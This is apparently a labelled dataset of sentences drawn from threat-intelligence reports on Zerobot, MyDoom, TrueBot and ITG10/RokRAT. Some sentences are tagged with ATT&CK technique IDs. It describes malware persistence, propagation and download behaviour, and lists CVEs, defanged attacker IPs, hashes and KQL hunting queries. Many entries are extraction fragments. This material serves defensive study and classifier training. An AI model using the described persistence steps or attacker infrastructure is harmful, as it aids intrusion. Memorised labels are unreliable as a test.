{"sentence": "Zerobot is offered as part of a malware as a service scheme and has been updated several times since Microsoft started to track it.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft has previously reported on the evolving threat ecosystem.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The shift toward malware as a service in the cyber economy has industrialized attacks and has made it easier for attackers to purchase and use malware, establish and maintain access to compromised networks, and utilize ready-made tools to perform their attacks.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "We have tracked advertisements for the Zerobot botnet on various social media networks in addition to other announcements regarding the sale and maintenance of the malware, as well as new capabilities in development.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "In addition to these findings, we’re sharing new indicators of compromise (IOCs) and recommendations to help defenders protect devices and networks against this threat.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Using several modules, the malware can infect vulnerable devices built on diverse architectures and operating systems, find additional devices to infect, achieve persistence, and attack a range of protocols.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft tracks this activity as DEV-1061.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The most recent distribution of Zerobot includes additional capabilities, such as exploiting vulnerabilities in Apache and Apache Spark (CVE-2021-42013 and CVE-2022-33891 respectively), and new DDoS attack capabilities.", "labels": ["T1190"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we can reach high confidence about the origin or identity of the actor behind the activity.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Once it meets defined criteria, a DEV group is converted to a named actor.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "How Zerobot gains and maintains device access IoT devices are often internet-exposed, leaving unpatched and improperly secured devices vulnerable to exploitation by threat actors.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot is capable of propagating through brute force attacks on vulnerable devices with insecure configurations that use default or weak credentials.", "labels": ["T1078", "T1110"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers identified numerous SSH and telnet connection attempts on default ports 22 and 23, as well as attempts to open ports and connect to them by port-knocking on ports 80, 8080, 8888, and 2323.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot 1.1 includes several new vulnerabilities, such as: VulnerabilityAffected softwareCVE-2017-17105Zivif PR115-204-P-RSCVE-2019-10655GrandstreamCVE-2020-25223WebAdmin of Sophos SG UTMCVE-2021-42013ApacheCVE-2022-31137Roxy-WICVE-2022-33891Apache SparkZSL-2022-5717MiniDVBLinuxSince the release of Zerobot 1.1, the malware operators have removed CVE-2018-12613, a phpMyAdmin vulnerability that could allow threat actors to view or execute files.", "labels": ["T1190"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers have also identified that previous reports have used the vulnerability ID “ZERO-32906” for CVE-2018-20057, “GPON” for CVE-2018-10561, and “DLINK” for CVE-2016-20017; and that CVE-2020-7209 was mislabeled as CVE-2017-17106 and CVE-2022-42013 was mislabeled as CVE-2021-42013.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers have also found new evidence that Zerobot propagates by compromising devices with known vulnerabilities that are not included in the malware binary, such as CVE-2022-30023, a command injection vulnerability in Tenda GPON AC1200 routers.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Upon gaining device access, Zerobot injects a malicious payload, which may be a generic script called zero.sh that downloads and attempts to execute Zerobot, or a script that downloads the Zerobot binary of a specific architecture.", "labels": ["T1105"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The bash script that attempts to download different Zerobot binaries tries to identify the architecture by brute-force, attempting to download and execute binaries of various architectures until it succeeds, as IoT devices are based on many computer processing units (CPUs).", "labels": ["T1082", "T1105"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Persistence tactics are used by malware operators to obtain and maintain access to devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "On Windows machines, the malware copies itself to the Startup folder with the file name FireWall.exe", "labels": ["T1547.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "(older versions use my.exe).", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Endpoint detects this malware and related malicious activity on both Windows and Linux devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Older Linux versions use $HOME/.config/autostart instead of $HOME/.config/ssh.service.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Daemon: Copies itself to /usr/bin/sshf and writes a configuration at /etc/init/sshf.conf.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Service: Copies itself to /etc/sshf and writes a service configuration at /lib/system/system/sshf.service, then enables the service (to make sure it starts at boot) with two commands: systemctl enable sshf service enable sshf All persistence mechanisms on older Linux versions use my.bin and my.bin.desktop instead of sshf and sshf.desktop.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "New attack capabilities", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "These functions allow threat actors to target resources and make them inaccessible.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_SOCKETContinuously sends random payloads on an open TCP socket.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "HTTP_HANDLESends HTTP GET requests using a Golang standard library.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "HTTP_BYPASSSends HTTP GET requests with spoofed headers.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "HTTP_NULLHTTP", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "headers are each one random byte (not necessarily ascii).Previously undisclosed and new capabilities are the following: Attack methodDescriptionUDP_RAWSends UDP packets where the payload is customizable.", "labels": ["T1071.001", "T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_CUSTOMSends TCP packets where the payload and flags are fully customizable.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_SYNSends SYN packets.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_ACKSends ACK packets.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The reset cause field is “xmas”.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "How Zerobot spreads After persistence is achieved, Zerobot scans for other internet-exposed devices to infect.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The malware randomly generates a number between 0 and 255 and scans all IPs starting with this value.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Using a function called new_botnet_selfRepo_isHoneypot, the malware tries to identify honeypot IP addresses, which are used by network decoys to attract cyberattacks and collect information on threats and attempts to access resources.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "This function includes 61 IP subnets, preventing scanning of these IPs.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers also identified a sample that can run on Windows based on a cross-platform (Linux, Windows, macOS) open-source remote administration tool (RAT) with various features such as managing processes, file operations, screenshotting, and running commands.", "labels": ["T1059.003", "T1113", "T1219"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The script, which is used to download this RAT, is called impst.sh: Figure 1.", "labels": ["T1105"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft recommends the following steps to protect devices and networks against the threat of Zerobot: Use security solutions with cross-domain visibility and detection capabilities like Microsoft 365 Defender, which provides integrated defense across endpoints, identities, email, applications, and data.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender Antivirus and Microsoft Defender for Endpoint detect Zerobot malware variants and malicious behavior related to this threat.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Adopt a comprehensive IoT security solution such as Microsoft Defender for IoT to allow visibility and monitoring of all IoT and OT devices, threat detection and response, and integration with SIEM/SOAR and XDR platforms such as Microsoft Sentinel and Microsoft 365 Defender.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Maintain device health with updates: Make sure devices are up to date with the latest firmware and patches.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Use least privileges access: Use a secure virtual private network (VPN) service for remote access and restrict remote access to the device.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Harden endpoints with a comprehensive Windows security solution:Manage the apps your employees can use through Windows Defender Application Control and for unmanaged solutions, enabling Smart App Control.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Perform timely cleanup of all unused and stale executables sitting on yours or your organizations’ devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Detections Microsoft Defender for IoT Microsoft Defender for IoT uses detection rules and signatures to identify malicious behavior.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for IoT has alerts for the following vulnerabilities and exploits which may be tied to Zerobot activity: CVE-2014-8361 CVE-2016-20017 CVE-2017-17105 CVE-2017-17215 CVE-2018-10561 CVE-2018-20057 CVE-2019-10655 CVE-2020-7209 CVE-2020-10987 CVE-2020-25506 CVE-2021-35395 CVE-2021-36260 CVE-2021-42013 CVE-2021-46422 CVE-2022-22965 CVE-2022-25075 CVE-2022-26186 CVE-2022-26210 CVE-2022-30023 CVE-2022-30525 CVE-2022-31137 CVE-2022-33891 CVE-2022-34538 CVE-2022-37061 ZERO-36290 ZSL-2022-5717 Microsoft Defender Antivirus Microsoft Defender Antivirus detects the malicious files under the following platforms and threat names:", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot (Win32/64 and Linux) SparkRat (Win32/64 and Linux)", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Cloud Microsoft Defender for Cloud alerts with the following titles can indicate threat activity on your network: VM_ReverseShell VM_SuspectDownloadArtifacts SQL.VM_ShellExternalSourceAnomaly AppServices_CurlToDisk Advanced hunting queries Microsoft 365 Defender Microsoft 365 Defender customers can run the following query to find related activity in their networks.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot files This query finds the file hashes associated with Zerobot activity.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "== \"HTTP_Client\" |project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, SignatureName, SignatureMatchedContent, SignatureSampleContent Zerobot port knocking This query finds incoming connections from IOCs associated with Zerobot activity.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "DeviceNetworkEvents | where RemoteIP in(\"176.65.137.5\",\"176.65.137.6\") | where ActionType == \"InboundConnectionAccepted\" | where Timestamp > ago(30d) |project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, InitiatingProcessFileName Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy Indicators of compromise (IOCs): Domains and IP addresses: zero[.]sudolite[.]ml 176.65.137[.]5 176.65.137[.]5:1401 176.65.137[.]6 ws[:]//176.65.137[.]5/handle http[:]//176.65.137[.]5:8000/ws New Zerobot hashes (SHA-256) aed95a8f5822e9b1cd1239abbad29d3c202567afafcf00f85a65df4a365bedbb bf582b5d470106521a8e7167a5732f7e3a4330d604de969eb8461cbbbbdd9b9a 0a5eebf19ccfe92a2216c492d6929f9cac72ef37089390572d4e21d0932972c8", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "1e7ca210ff7bedeefadb15a9ec5ea68ad9022d0c6f41c4e548ec2e5927026ba4 05b7517cb05fe1124dd0fad4e85ddf0fe65766a4c6c9986806ae98a427544e9d 5625d41f239e2827eb05bfafde267109549894f0523452f7a306b53b90e847f2 c304a9156a032fd451bff49d75b0e9334895604549ab6efaab046c5c6461c8b3 66c76cfc64b7a5a06b6a26976c88e24e0518be3554b5ae9e3475c763b8121792 539640a482aaee2fe743502dc59043f11aa8728ce0586c800193e30806b2d0e5 0f0ba8cc3e46fff0eef68ab5f8d3010241e2eea7ee795e161f05d32a0bf13553 343c9ca3787bf763a70ed892dfa139ba69141b61c561c128084b22c16829c5af 874b0691378091a30d1b06f2e9756fc7326d289b03406023640c978ff7c87712 29eface0054da4cd91c72a0b2d3cda61a02831b4c273e946d7e106254a6225a7 4a4cb8516629c781d5557177d48172f4a7443ca1f826ea2e1aa6132e738e6db2 bdfd89bdf6bc2de5655c3fe5f6f4435ec4ad37262e3cc72d8cb5204e1273ccd6 62f23fea8052085d153ac7b26dcf0a15fad0c27621f543cf910e37f8bf822e0e 788e15fd87c45d38629e3e715b0cb93e55944f7c4d59da2e480ffadb6b981571 26e68684f5b76d9016d4f02b8255ff52d1b344416ffc19a2f5c793ff1c2fdc65 e4840c5ac2c2c2170d00feadb5489c91c2943b2aa13bbec00dbcffc4ba8dcc2d 45059f26e32da95f4bb5dababae969e7fceb462cdeadf7d141c39514636b905a 77dd28a11e3e4260b9a9b60d58cb6aaaf2147da28015508afbaeda84c1acfe70 cf232e7d39094c9ba04b9713f48b443e9d136179add674d62f16371bf40cf8c8 13657b64a2ac62f9d68aeb75737cca8f2ab9f21e4c38ce04542b177cb3a85521 eb33c98add35f6717a3afb0ab2f9c0ee30c6f4e0576046be9bf4fbf9c5369f71 e3dd20829a34caab7f1285b730e2bb0c84c90ac1027bd8e9090da2561a61ab17 3685d000f6a884ca06f66a3e47340e18ff36c16b1badb80143f99f10b8a33768 cdc28e7682f9951cbe2e55dad8bc2015c1591f89310d8548c0b7a1c65dbefae3 869f4fb3f185b2d1231d9378273271ddfeebb53085daede89989f9cc8d364f5f 6c59af3ed1a616c238ee727f6ed59e962db70bc5a418b20b24909867eb00a9d6 ef28ee3301e97eefd2568a3cb4b0f737c5f31983710c75b70d960757f2def74e 95e4cc13f8388c195a1220cd44d26fcb2e10b7b8bfc3d69efbc51beb46176ff1 62f9eae8a87f64424df90c87dd34401fe7724c87a394d1ba842576835ab48afc 54d1daf58ecd4d8314b791a79eda2258a69d7c69a5642b7f5e15f2210958bdce 8176991f355db10b32b7562d1d4f7758a23c7e49ed83984b86930b94ccc46ab3 8aa89a428391683163f0074a8477d554d6c54cab1725909c52c41db2942ac60f fd65bd8ce671a352177742616b5facc77194cccec7555a2f90ff61bad4a7a0f6 1e66ee40129deccdb6838c2f662ce33147ad36b1e942ea748504be14bb1ee0ef 57f83ca864a2010d8d5376c68dc103405330971ade26ac920d6c6a12ea728d3d 7bfd0054aeb8332de290c01f38b4b3c6f0826cf63eef99ddcd1a593f789929d6 SparkRat hashes (SHA-256): 0ce7bc2b72286f236c570b1eb1c1eacf01c383c23ad76fd8ca51b8bc123be340 cacb77006b0188d042ce95e0b4d46f88828694f3bf4396e61ae7c24c2381c9bf 65232e30bb8459961a6ab2e9af499795941c3d06fdd451bdb83206a00b1b2b88 Rotem Sde-Or, Ilana Sivan, Gil Regev, Microsoft Defender for IoT Research TeamMeitar Pinto, Nimrod Roimy, Nir Avnery, Microsoft Defender Research TeamRamin Nafisi, Ross Bevington, Microsoft Threat Intelligence Center (MSTIC)", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Malware isn’t usually thought of this way, as most threat actors strive to keep their tools as current as possible with new lures and exploitation techniques.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "FortiGuard Labs came across one such recent campaign using the MyDoom worm.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom (also known as Novarg and Mimail) was first discovered back in 2004.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "There is also an attachment that may or may not be zipped.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "This attachment (unless zipped) is the MyDoom executable.", "labels": ["T1566.001"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "FortiGuard Labs encountered the following message subjects in our recent investigation: Click me baby, one more time RETURNED MAIL: SEE TRANSCRIPT FOR DETAILS Isnydosj anhr ayownizdiitis Delivery failed Test Delivery reports about your e-mail Status Returned mail: Data format error RETURNED MAIL:", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "This increases the chances that users won’t identify it as malicious.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Despite the extension, the file is a 32-bit Windows executable packed using the UPX (Ultimate Packer for Executables) packer (https://en.wikipedia.org/wiki/UPX) to compress and make it more difficult to analyze.", "labels": ["T1027"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "When used without modification, it is quite easy to decompress the original executable using the tool itself.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom Unpacked The packer decompresses and executes the actual MyDoom code.", "labels": ["T1027"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Upon execution, an attempt to alter the Windows firewall settings is made.", "labels": ["T1562.001"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "A user logged on to the system would see a request to grant access for the executable to communicate out through the Firewall.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom next makes a copy of itself, places it in the “Temp” folder (C:\\Users\\<user>\\AppData\\Local\\Temp), and changes the name to a known Windows application/process.", "labels": ["T1036.005"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "In this case, it used “lsass.exe”.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "It also creates a file full of garbage text that is not referenced again once created.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom communicates over port 1042 to both send and receive.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "It rotates through a number of possible C2 domains in an attempt to locate an active one.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "As part of the legacy of spreading through file-sharing utilities, MyDoom also litters the “C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Shared” folder with multiple versions of itself.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "It renames itself as some now very old and obsolete applications (e.g., Kazaa Lite) with a random name or phrase attached.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Application names include: Kazaa Lite Harry Potter ICQ 4 Lite WinRAR.v.3.2 Winamp 5.0 (en) Crack Winamp 5.0 (en) Conclusion Despite its advanced age, there are still fresh infections of MyDoom occurring in the wild, along with corresponding phishing events.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "M@mm W32/Mydoom.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "E!tr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "The WebFiltering client blocks all network-based URIs.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Fortinet has multiple solutions designed to help train users to understand and detect phishing threats, including the FortiPhish Phishing Simulation Service, which uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
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{"sentence": "VMware’s Carbon Black Managed Detection and Response (MDR) team began seeing a surge of TrueBot activity in May 2023.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "TrueBot, otherwise known as Silence.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Downloader has been seen since at least 2017.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "TrueBot is under active development by Silence, with recent versions using a Netwrix vulnerability for delivery.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "In this article, we will break down what we have seen in customers’ environments and how Carbon Black MDR detects and responds to the threat.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "History Just as its name suggests, TrueBot is a downloader trojan botnet that uses command and control servers to collect information on compromised systems and uses that compromised system as a launching point for further attacks, as seen recently with Clop Ransomware.", "labels": ["T1041"], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "VMware’s MDR team has seen this vulnerability used firsthand in customer environments, as explored below.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "TrueBot is also using Raspberry Robin (a worm) as a delivery vector.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "While Silence Group is known for targeting banks and financial institutions, TrueBot has also been seen targeting the education sector.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "In the Carbon Black Detection & Notable Attacks section, we break down the sectors that we have seen targeted from our platform.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "The MDR team has explored this link and has not found substantial evidence to back this claim.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Researchers thought EvilCorp to be linked to TrueBot due to TrueBot dropping FlawedGrace.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "FlawedGrace is malware that is attributed to EvilCorp.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Though TrueBot drops this payload, the malware operators could purchase access to this tool directly from EvilCorp.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Another link explored was TrueBot dropping Clop Ransomware, which was previously used by EvilCorp.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "However, Clop is ransomware-as-a-service, so anyone can purchase access to this tool.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Lastly, Silence is a Russian-speaking cybercriminal group that uses Russian web hosting services.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Carbon Black Detection Carbon Black is very effective at detecting TrueBot and its associated activity.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "This section will focus on what Carbon Black detected and the visibility into the attack process.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Figure 1.1 Process Chain", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "The infection appeared to have started with a drive-by-download from Chrome for the executable ‘update.exe’.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Figure 1.2 Update.exe being downloaded A user had to click on this in order to execute the malware.", "labels": ["T1204.002"], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Upon execution, the malware immediately begins to look for EDR and antivirus software.", "labels": ["T1518.001"], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Figure 1.3 Looking for EDR/AV Once executed, it connected to 94[.]142.138.61IP, which is a Russian IP address that is known to be attributed to TrueBot.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "At the address, the executable ‘3ujwy2rz7v.exe’ was downloaded and then launched by cmd.exe.", "labels": ["T1059.003", "T1105"], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "The activity thereafter included dumps of LSASS, exfiltration of data, and system and process enumerations.", "labels": ["T1003.001", "T1057"], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Managed Detection and Response stops this activity through first the detection of the activity and then the implementation of system quarantines, hash banning, policy reviews, and policy modifications.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Customers are informed of the observed activity and actions taken by the team every step of the way.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "When an organization is infected with this malware, it can quickly escalate to become a bigger infection, similar to how ransomware spreads throughout a network.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "Carbon Black is able to quickly detect TrueBot and its associated activity and, with the help of MDR, be able to detect and contain it early in the attack chain before the threat escalates.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"}
{"sentence": "ITG10’s tactics, techniques and procedures (TTPs) overlap with APT37 and ScarCruft.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The initial delivery method is conducted via a LNK file, which drops two Windows shortcut files containing obfuscated PowerShell scripts in charge of downloading a second stage RokRAT shellcode.", "labels": ["T1027", "T1105"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The uncovered lure documents suggest ITG10 may be targeting individuals and organizations involved in foreign policy associated with the Korean peninsula.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Key Findings: ITG10 likely targeting South Korean government, universities, think tanks, and dissidents Phishing emails spoof legitimate senders to deliver RokRAT via LNK files Email attachments mimic legitimate documents Additional malware samples possibly related to ITG10 RokRAT campaigns Decoy Documents In late April 2023, X-Force uncovered several Zip Archives files hosting multiple lure documents likely sent via phishing campaigns operated by ITG10. X-Force assesses that the documents are likely decoys geared toward various personnel within two subsets of activity: South Korean government, communication, and educational centers; and energy, manufacturing, and supply chain.", "labels": ["T1566.001"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "This section provides analysis of the lure documents and potential targets.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "South Korean Government, Communications and Educational Centers", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The first titled (0722)상임위원회 및 상설특별위원회 위원 명단(최종).zip", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "[(0722) List of Standing Committee and Standing Special Committee members (final).zip)], contains charts listing the Standing Committee members and assignments associated with broadcast media in South Korea as of July 2022.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Examination of the contents suggests that it is a directory of eighteen South Korean parliamentary committee assignments, the number of committee members, their names, and political party affiliation.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "(0722)상임위원회 및 상설특별위원회 위원 명단(최종).zip", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
